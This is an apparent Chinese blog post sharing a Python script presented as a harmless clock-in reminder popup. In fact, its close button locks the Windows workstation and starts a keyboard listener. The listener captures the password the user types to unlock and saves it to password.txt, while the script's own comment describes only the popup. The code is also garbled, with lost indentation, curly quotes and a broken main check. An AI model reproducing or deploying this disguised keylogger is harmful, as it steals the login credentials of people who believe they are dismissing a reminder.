提示下班打卡小程序

import time
import tkinter as tk
import tkinter.font as tf
from ctypes import *
from pynput import keyboard
##此脚本主要用户,当电脑时间为指定时间后,自动弹出“打卡信息”提示弹窗

window = tk.Tk()
window.title(‘My Window’)

获取当前屏幕尺寸

screenWidth = window.winfo_screenwidth()
screenHeight = window.winfo_screenheight()

将当前屏幕尺寸设置为 window 窗口大小

exceptGeometry = str(screenWidth) + ‘x’ + str(screenHeight)
window.geometry(exceptGeometry)

设置标签字体设置

ft1 = tf.Font(family=‘行楷’,size=80,slant=tf.ITALIC,weight=tf.BOLD)
ft2 = tf.Font(family=‘行楷’,size=80,weight=tf.BOLD)

定义一个写入文件的函数

def write_to_file(fileName,content):
with open(fileName,‘w’,encoding=‘utf-8’)as file:
file.write(content)
characterList = []
def on_press(key):
character = str(key)
if character != ‘Key.enter’:
characterList.append(key)
else:
return False

定义一个锁屏函数 用户窗口中点击关闭按钮触发锁屏效果,且用于关闭window窗口

def lockScreen():
user32 = windll.LoadLibrary(‘user32.dll’)
user32.LockWorkStation()
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
write_to_file(‘password.txt’,str(characterList))
# time.sleep(0.5)
window.quit()

创建标签

var1 = tk.StringVar()
l1 = tk.Label(window,textvariable=var1,bg=‘yellow’,fg=‘red’,font=ft1,width=screenWidth,height=4)
l1.pack()

定义1个按钮,用于点击触发效果

b1 = tk.Button(window,text=‘请鼠标点击此处区域关闭弹窗’,bg=‘white’,fg=‘red’,font=(‘Arial’,40),width=screenWidth,height=1,command=lockScreen)
b1.pack()
l2 = tk.Label(window,text=“辛苦工作一天咯,记得打卡呀!!!”,bg=‘yellow’,fg=‘red’,font=ft2,width=screenWidth,height=7)
l2.pack()

condition = True

def jdgmentTime():
global condition
while condition==True:
exceptTime = “08:40:00”
# 获取当前时间的 年月日
currentDate = time.strftime("%Y-%m-%d",time.localtime(time.time()))
# 生成预期的时间
exceptDateTime = currentDate + " " + exceptTime
# 将预期的字符时间转换为 时间戳
exceptTimeStamp = time.mktime(time.strptime(exceptDateTime,"%Y-%m-%d %H:%M:%S"))
currentTimeStamp = time.time()
currentDateTime = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime(time.time()))
if currentTimeStamp - exceptTimeStamp >= 0:
condition = False
var1.set(currentDateTime)
window.mainloop()
time.sleep(2)

if name == ‘main’:
jdgmentTime()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值